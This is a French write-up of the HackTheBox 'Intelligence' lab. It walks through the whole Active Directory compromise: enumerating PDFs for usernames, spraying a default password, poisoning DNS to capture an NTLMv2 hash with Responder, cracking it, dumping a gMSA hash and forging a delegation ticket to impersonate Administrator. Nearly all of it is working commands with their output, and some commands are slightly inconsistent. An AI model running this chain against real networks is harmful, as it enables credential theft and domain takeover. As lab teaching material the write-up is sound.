owned this note
owned this note
Published
Linked with GitHub
# Intelligence HTB - Gainche/LeFloch
Le focus de cette machine est mis sur l'énumération et l'exploitation de l'active directory. Ce qui est le plus intéressant dans le défi, c'est que vous pouvez obtenir les droits d'administrateur sur la machine sans jamais avoir accès à un shell sur celle-ci. Toutes les actions d'énumération et d'attaque sont effectuées à distance. Cela est similaire à l'accès VPN à un réseau et à l'exécution d'attaques à travers le VPN, plutôt que d'avoir un implant qui rappelle votre C2. La machine est exploitée en combinant la négligence des utilisateurs finaux, les erreurs informatiques et les erreurs courantes de configuration de délégation contrainte AD.
## Découverte de la machine avec un scan
Dans un premier temps nous avons réaliser un scan avec nmap pour voir a quel type de machine nous avone a faire :
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# nmap -p$ports -sC -sV -oA intel 10.10.10.248
Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-17 11:13
Nmap scan report for 10.10.10.248
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows
3268/tcp open ldap Microsoft Windows
3269/tcp open ssl/ldap Microsoft Windows
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
50919/tcp open msrpc Microsoft Windows RPC
```
A notre surprise il y avait beaucoup de port ouvert sur cette machine les 14 premiers sont des ports génériques mais les 6 derniers sont des services customs dont nous ne connaissons pas encore l'origine.
Parmis les ports ouverts il y avait le port 80 d'ouvert ce qui indique sans doute un serveur web d'heberger dessus. En y accédent on se rend compte que c'est un site assez basique. Cepend il y a 2 liens assez interresant qui link vers des pdf :
>http://10.10.10.248/documents/2020-01-01-upload.pdf
>http://10.10.10.248/documents/2020-12-15-upload.pdf
## Analyse des fichiers trouvés
Une fois les deux fichiers récupérés, nous décidons de regarder les métadonnées de ceux-ci afin d'obtenir des informations sur le fichiers avec l'outil exiftool :
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# exiftool 2020-01-01-upload.pdf
ExifTool Version Number : 12.31
File Name : 2020-01-01-upload.pdf
Directory : .
File Size : 26 KiB
File Modification Date/Time : 2021:04:01 18:00:00+01:00
File Access Date/Time : 2021:10:05 22:04:16+01:00
File Inode Change Date/Time : 2021:10:05 22:04:16+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Creator : William.Lee
```
On voit qu'un creator existe avec un nom, nous décidon donc de faire la meme chose pour l'autre fichier et on obtient un deuxieme nom de creator : `Jose.Williams`
## Recherche d'autres fichiers
Comme on a put remarqué les 2 fichier que nous avons trouver sont nomé par une date qui commence en 2020 on va donc essayer de brut force pour récupérer tous les fichiers qui on un nom de ce type:
```python
from datetime import timedelta, date
def daterange(date1, date2):
for n in range(int ((date2 - date1).days)+1):
yield date1 + timedelta(n)
start_dt = date(2020, 1, 1)
end_dt = date(2020, 12, 31)
for dt in daterange(start_dt, end_dt):
print(dt.strftime("%Y-%m-%d-upload.pdf"))
```
Grâce a ce script python on récupère tous les noms potentiels de chaque fichier que l'on range dans un fichier. Par la suite on utilise l'outils feroxbuster pour récupérer tout les fichier.
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# feroxbuster --wordlist dates.txt --url http://intelligence.htb/documents --output results.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://intelligence.htb/documents
🚀 Threads │ 50
📖 Wordlist │ dates.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💾 Output File │ results.txt
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 126l 413w 11632c http://intelligence.htb/documents/2020-01-20-upload.pdf
200 135l 429w 11557c http://intelligence.htb/documents/2020-01-23-upload.pdf
200 131l 410w 11228c http://intelligence.htb/documents/2020-02-17-upload.pdf
<SNIP>
200 126l 403w 11480c http://intelligence.htb/documents/2020-12-28-upload.pdf
200 208l 814w 26825c http://intelligence.htb/documents/2020-12-24-upload.pdf
200 190l 690w 25109c http://intelligence.htb/documents/2020-12-30-upload.pdf
200 199l 789w 26762c http://intelligence.htb/documents/2020-12-10-upload.pdf
[####################] - 0s 366/366 0s found:81 errors:0
[####################] - 0s 366/366 837/s http://intelligence.htb/documents
```
On a trouver 81 fichiers grâce a cela. Et on peut donc extraire le nom de chaque créateur des fichiers :
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# strings *.pdf | grep Creator | grep -v TeX | awk '{print $2}' | cut -d '(' -f 2 | cut -d ')' -f 1 | sort | uniq
Anita.Roberts
Brian.Baker
Jose.Williams
David.Mcbride
Kelly.Long
John.Coleman
Jose.Williams
Nicole.Brock
Thomas.Valenzuela
David.Reed
Kaitlyn.Zimmerman
Jason.Patterson
Thomas.Valenzuela
David.Mcbride
Darryl.Harris
William.Lee
Stephanie.Young
David.Reed
Nicole.Brock
David.Mcbride
William.Lee
Stephanie.Young
John.Coleman
David.Wilson
Scott.Scott
Teresa.Williamson
John.Coleman
Veronica.Patel
John.Coleman
Samuel.Richardson
Ian.Duncan
Nicole.Brock
William.Lee
Jason.Wright
Travis.Evans
David.Mcbride
Jessica.Moody
Ian.Duncan
Jason.Wright
Richard.Williams
Tiffany.Molina
Jose.Williams
Jessica.Moody
Brian.Baker
Anita.Roberts
Teresa.Williamson
Kaitlyn.Zimmerman
Jose.Williams
Stephanie.Young
Samuel. Richardson
Tiffany.Molina
Ian.Duncan
Kelly.Long
Travis.Evans
Ian.Duncan
Jose.Williams
David.Wilson
Thomas.Hall
Ian.Duncan
Jason.Patterson
Stephanie.Young
Kaitlyn.Zimmerman
Travis.Evans
Kelly.Long
Danny.Matthews
Travis.Evans
Jessica.Moody
Thomas.Valenzuela
Anita.Roberts
Stephanie.Young
David.Reed
Jose.Williams
Veronica.Patel
Ian.Duncan
Richard.Williams
```
## Extraction des donées
On peut convertir les PDF en .txt afin que les fichiers soit plus simple d'analyse et d'utilisation.
Pour commencer essayons de voir si l'uns d'entre eux contient un champ "password", on fait :
```shell
┌──(root💀kali)-[~/htb/intelligence]
└─# grep -rl "password" *.txt
2020-06-04-upload.txt
```
On voit que le fichiers "2020-06-04-upload.txt" contient un champ "password", essayons de voir ce que contient ce fichier :
```shell
┌──(root💀kali)-[~/htb/intelligence]
└─# cat 2020-06-04-upload.txt
New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp
After logging in please change your password as soon as possible.
```
## Validation de mot de passe
Maintenant que nous avons un mdp et username possible on peut utiliser crackmapexec pour faire des test de connections avec nos crédits.
Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# crackmapexec smb intelligence.htb -u ./users.txt -p 'f!?g3U36cT'
SMB 10.10.10.248 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:intelligence.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.248 445 DC [-] intelligence.htb\Anita.Roberts:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [-] intelligence.htb\Brian.Baker:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp STATUS_LOGON_FAILURE
SMB 10.10.10.248 445 DC [-] intelligence.htb\Brian.Morris:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp STATUS_LOGON_FAILURE
...
SMB 10.10.10.248 445 DC [+] intelligence.htb\Tiffany.Molina:Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp
```
On voit que Tiffany.Molina n'a pas changé son mot de passe, nous allons donc nous concentrer sur cette utilisateur. Pour cela nous allons utiliser SMBMAP qui permet de lister les droits qu'a l'utilisateur dans le domaine :
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# smbmap -u Tiffany.Molina -p Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp -H intelligence.htb -R
[+] IP: intelligence.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
<SNIP>
IT READ ONLY
.\IT\*
fr--r--r-- 1046 Mon Apr 19 01:50:58 2021 downdetector.ps1
<SNIP>
Users READ ONLY
.\Users\*
dr--r--r-- 0 Mon Apr 19 01:18:39 2021 Administrator
dr--r--r-- 0 Mon Apr 19 04:16:30 2021 All Users
dw--w--w-- 0 Mon Apr 19 03:17:40 2021 Default
dr--r--r-- 0 Mon Apr 19 04:16:30 2021 Default User
fr--r--r-- 174 Mon Apr 19 04:15:17 2021 desktop.ini
dw--w--w-- 0 Mon Apr 19 01:18:39 2021 Public
dr--r--r-- 0 Mon Apr 19 02:20:26 2021 Ted.Graves
dr--r--r-- 0 Mon Apr 19 01:51:46 2021 Tiffany.Molina
<SNIP>
.\Users\Tiffany.Molina\Desktop\*
fw--w--w-- 34 Thu Oct 7 12:55:49 2021 user.txt
```
Etant donné qu'une grande quantité de fichiers à été enregistré, on a fait un dump des fichiers et on a retenu 3 principales informations :
```
IT Share has a PowerShell script called downdetector.ps1
User folder has another user called Ted.Graves
User flag is on Tiffany's desktop
```
On peut maintenant essayer de se connecter aux partages Sambas de l'utilisateur en utilisant smbclient :
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# smbclient //intelligence.htb/Users -U 'Tiffany.Molina'
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> cd Tiffany.Molina\Desktop\
smb: \Tiffany.Molina\Desktop\> get user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
```
On voit bien qu'un fichier est présent sur le Bureau de Tiffany or comme dit précedemment on a vu que le flag est présent sur son Bureau, on en conclut donc que user.txt contient le flag du CTF.
En faisant un `cat user.txt` on obtient donc le flag
## Powershell exfiltration
Ensuite on essaie de se connecter au smbclient pour voir ce que l'on peut récupérer et utiliser dedans avec le compte que l'on a récupérer.
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# smbclient //intelligence.htb/IT -U 'Tiffany.Molina'
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (9.0 KiloBytes/sec) (average 9.0 KiloBytes/sec)
```
On a trouver le fichier downdetector.ps1 que l'on télécharge pour l'analyser :
```shell
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
```
Ce script vérifie l'état de fonctionnement du serveur web. Il importe le module ActiveDirectory et parcourt les enregistrements de DNS correspondant aux noms de domaine commençant par "web" dans l'unité organisationnelle spécifiée. Pour chaque nom de domaine de cette liste, il tente d'effectuer une requête web sur l'URL correspondante. Si la requête renvoie un code d'état différent de 200, le script envoie un e-mail à l'adresse spécifiée pour signaler que le serveur est en panne. Le script est programmé pour s'exécuter toutes les 5 minutes.
## Récupération de la requête web sur l'URL
### DNS
Dans un premier temps on va utiliser ls dns pour redirigé la requête vers nous, on utilise l'outil krbrelayx:
```shell
┌──(andrea@kali)-[~/htb/intelligence/krbrelayx]
└─# python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'Ah5kj9Uhkoh0pwVhyh7ki9hvU45yakfp' -a add -r 'webpencer.intelligence.htb' -d 10.10.14.251 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/root/htb/intelligence/krbrelayx/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully
```
Ci-dessus, nous avons utilisé le script dnstool pour ajouter un enregistrement appelé webpencer, nous pointons cette entrée vers notre machine
### Responder
On met donc en place le responder qui va intercepter la requête qu'on redirige a notre machine pour cela on utilise l'outil responder de kali et attendre 5 min qu'une requête nous sois envoyé:
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# responder -I tun0 -A
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
...
[+] Servers:
...
[+] HTTP Options:
...
[+] Poisoning Options:
Analyze Mode [ON]
...
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.251]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-ZQMKCOX922L]
Responder Domain Name [45TT.LOCAL]
Responder DCE-RPC Port [49138]
[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:98592689b95ecf6e:435A2306687E740FF0DDFA17CAF82E4B<SNIP>9003E0048005400540050002F00770065006200700065006E006300650072002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
```
## Utilisation du hash trouvé
Notre responder a réussis a capturer une requête contenant un username et le hash de son mdp. A présent il nous faut encore retrouver le mot de passe qui se cache derrière ce hash.
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# john hash.txt -format=netntlmv2 -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mr.Teddy (Ted.Graves)
1g 0:00:00:05 DONE (2021-10-07 22:19) 0.1941g/s 2100Kp/s 2100Kc/s 2100KC/s Mrz.deltasigma..Morgant1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```
Nous avons retrouver le mot de passe de Ted.Graves qui est Mr.Teddy
## LDAP DUMP
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# ldapdomaindump 10.10.10.248 -u 'intelligence\Ted.Graves' -p 'Mr.Teddy'
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
┌──(andrea@kali)-[~/htb/intelligence]
└─# ldd2pretty --directory .
+--------------------------------------+
| Getting Domain Sid For |
+--------------------------------------+
[+] Domain Name: intelligence
Domain Sid: S-1-5-21-4210132550-3389855604-3437519686
+-----------------------------------------+
| Password Policy Information |
+-----------------------------------------+
[+] Password Info for Domain: INTELLIGENCE
[+] Minimum password length: 5
[+] Password history length: 0
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Maximum password age: 999999999 days, 23:59:59.999999
[+] Minimum password age: 0:00:00
[+] Reset Account Lockout Counter: 0:00:00
[+] Account Lockout Threshold: 0
[+] Forced Log off Time: Not Set
+------------------------+
| Users Infos |
+------------------------+
Account: INTELLIGENCE\Ted.Graves Name: Ted Graves Desc: (null)
Account: INTELLIGENCE\Laura.Lee Name: Laura Lee Desc: Desc: (null)
Account: INTELLIGENCE\Jason.Patterson Name: Jason Patterson Desc: (null)
Account: INTELLIGENCE\Jeremy.Mora Name: Jeremy Mora Desc: (null)
Account: INTELLIGENCE\James.Curbow Name: James Curbow Desc: (null)
...
```
La parti qui peut nous interresser dans ce dump de l'AD est la delegation :
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# grep "DELEGATION" *.grep
domain_computers.grep:svc_int svc_int$ svc_int.intelligence.htb 10/08/21 04:49:52 WORKSTATION_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
domain_computers.grep:DC DC$ dc.intelligence.htb 10/08/21 03:55:22 SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
```
On peut donc voir qu'il y a des service de délégation que l'on va essayer de déterminer par la suite.
## Delegation
Pour trouver ou la delegation est autorisé on va utiliser l'outil pywerview :
```shell
──(andrea@kali)-[~/htb/intelligence/pywerview]
└─# python3 ./pywerview.py get-netcomputer -u Ted.Graves -p Mr.Teddy -w intelligence.htb --computername svc_int.intelligence.htb -t 10.10.10.248 --full-data
accountexpires: never
distinguishedname: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
dnshostname: svc_int.intelligence.htb
msds-allowedtodelegateto: WWW/dc.intelligence.htb
name: svc_int
objectcategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
objectclass: msDS-GroupManagedServiceAccount
samaccountname: svc_int$
useraccountcontrol: ['WORKSTATION_TRUST_ACCOUNT', 'TRUSTED_TO_AUTH_FOR_DELEGATION']
```
## Utilisation l'autorisation de delegation
Nous savons maintenant que nous avons un compte qui est approuvé pour la délégation à WWW comme expliqué précedemment, nous pouvons donc essayer de récuperer le hash de celui-ci avec l'aide de l'outil gMSADumper :
```shell
┌──(andrea@kali)-[~/htb/intelligence]
└─# python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svcint$:::d170ae19de30439df55d6430e12dd621
```
## Création de ticket
Comme maintenant nous avons le hash du service account on peut utiliser impacket dont l'outil getST.py pour nous forger un ticket de service en se faisant passer pour l'administrateur :
```shell
┌──(andrea@kali)-[~]
└─# python3 /usr/share/doc/python3-impacket/examples/getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate administrator
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache
┌──(andrea@kali)-[~]
└─# export KRB5CCNAME=Administrator.ccache
```
Nous pouvons enfin utiliser le script smbclient Impacket pour nous connecter en tant qu'administrateur en faisant :
```
┌──(andrea@kali)-[~]
└─# impacket-smbclient Administrator@dc.intelligence.htb -k -no-pass
```
On obtient donc
```
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Type help for list of commands
# shares
ADMIN$
C$
IPC$
IT
NETLOGON
SYSVOL
Users
# cd Users
# cd Administrator
# cd Desktop
# ls
drw-rw-rw- 0 Mon Apr 19 01:51:57 2021 .
drw-rw-rw- 0 Mon Apr 19 01:51:57 2021 ..
-rw-rw-rw- 282 Mon Apr 19 01:40:10 2021 desktop.ini
-rw-rw-rw- 34 Fri Oct 8 12:56:30 2021 root.txt
```
Le flag se trouve dans root.txt :
```
┌──(andrea@kali)-[~]
└─# cat root.txt
xekj4nhjo60twchyzaoi5hvv4beakwq
```
## Remédiation
Une possible remédiation est de modifier les métadonnées du pdf notamment le createur afin de pas laisser d'identité visible aux attaquants.